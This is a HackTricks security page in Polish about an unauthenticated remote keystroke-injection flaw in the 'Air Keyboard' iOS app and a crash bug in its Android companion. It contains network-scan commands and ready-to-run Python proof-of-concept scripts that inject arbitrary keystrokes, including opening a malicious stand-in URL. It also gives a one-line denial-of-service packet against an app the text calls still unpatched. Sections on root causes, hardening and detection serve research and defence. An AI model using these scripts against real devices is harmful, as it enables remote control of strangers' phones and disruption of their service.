Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
TL;DR
Wersja iOS komercyjnej aplikacji “Air Keyboard” (ID w App Store 6463187929) udostępnia usługę w lokalnej sieci, która akceptuje ramki naciśnięć klawiszy bez jakiejkolwiek autoryzacji lub weryfikacji pochodzenia. W zależności od zainstalowanej wersji, usługa jest:
- ≤ 1.0.4 – surowy nasłuch TCP na porcie 8888, który oczekuje nagłówka długości 2 bajtów, po którym następuje device-id i ładunek ASCII.
- ≥ 1.0.5 (czerwiec 2025) – nasłuch WebSocket na tym samym porcie (8888), który analizuje klucze JSON takie jak
{"type":1,"text":"…"}
.
Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji. Towarzysząca wersja na Androida nasłuchuje na porcie 55535. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują nieobsługiwany wyjątek w OpenSSL, powodując awarię usługi w tle (DoS).
Luka jest nadal niezałatana w momencie pisania (lipiec 2025), a aplikacja pozostaje dostępna w App Store.
1. Odkrywanie usługi
Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
Na jailbroken iOS możesz zrobić coś podobnego do lsof -i -nP | grep LISTEN | grep 8888
.
2. Szczegóły protokołu (iOS)
2.1 Legacy (≤ 1.0.4) – niestandardowe ramki binarne
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Zadeklarowana długość obejmuje bajt device_id
ale nie sam nagłówek o długości dwóch bajtów.
2.2 Aktualna (≥ 1.0.5) – JSON przez WebSocket
Wersja 1.0.5 cicho przeszła na WebSocket, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Brak handshake, tokenu ani podpisu – pierwszy obiekt JSON już wyzwala zdarzenie UI.
3. Wykorzystanie PoC
3.1 Celowanie ≤ 1.0.4 (surowy TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Celowanie ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
Każdy drukowalny ASCII — w tym znaki nowej linii, tabulatory i większość klawiszy specjalnych — może być wysyłany, dając atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości, otwieranie złośliwych URL-i, przełączanie ustawień itp.
4. Android Companion – Denial-of-Service
Port Androida (55535) oczekuje hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB, po którym następuje losowy nonce. Błędy parsowania pojawiają się w AES_decrypt()
i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarcza, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Powiązane aplikacje – powracający antywzorzec
Air Keyboard to nie jest odosobniony przypadek. Inne mobilne narzędzia „zdalna klawiatura/mysz” mają ten sam błąd:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 pozwala na nieautoryzowane wykonanie poleceń i rejestrowanie klawiszy w postaci czystego tekstu.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 nieautoryzowane RCE i podsłuchiwanie ruchu.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek w postaci czystego tekstu.
Te przypadki podkreślają systematyczne zaniedbanie powierzchni ataku skierowanych na sieć w aplikacjach mobilnych.
6. Przyczyny
- Brak kontroli pochodzenia / integralności na przychodzących ramkach (iOS).
- Niewłaściwe użycie kryptografii (klucz statyczny, ECB, brak walidacji długości) oraz brak obsługi wyjątków (Android).
- Uprawnienia przyznane przez użytkownika do lokalnej sieci ≠ bezpieczeństwo – iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji.
7. Wzmocnienia i środki obronne
Zalecenia dla deweloperów:
- Powiąż nasłuchiwacz z
127.0.0.1
i tuneluj przez mTLS lub Noise XX, jeśli potrzebna jest zdalna kontrola. - Wyprowadzaj sekrety per urządzenie podczas onboardingu (np. kod QR lub PIN parowania) i wymuszaj wzajemną autoryzację przed przetwarzaniem danych wejściowych.
- Przyjmij Apple Network Framework z NWListener + TLS zamiast surowych gniazd.
- Wprowadź sprawdzanie długości prefiksu i strukturalną obsługę wyjątków podczas deszyfrowania lub dekodowania ramek.
Szybkie wygrane dla zespołów Blue-/Red-Team:
- Polowanie w sieci:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
lub filtr Wiresharktcp.port == 8888
. - Inspekcja w czasie rzeczywistym: Skrypt Frida podłączający
socket()
/NWConnection
, aby wylistować nieoczekiwane nasłuchiwacze. - Raport prywatności aplikacji iOS (Ustawienia ▸ Prywatność i bezpieczeństwo ▸ Raport prywatności aplikacji) podkreśla aplikacje, które kontaktują się z adresami LAN – przydatne do wykrywania niepożądanych usług.
- Mobilne EDR-y mogą dodać proste reguły Yara-L dla kluczy JSON
"selectionStart"
,"selectionEnd"
wewnątrz ładunków TCP w postaci czystego tekstu na porcie 8888.
Arkusz oszustw detekcji (Pentesterzy)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
Odniesienia
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.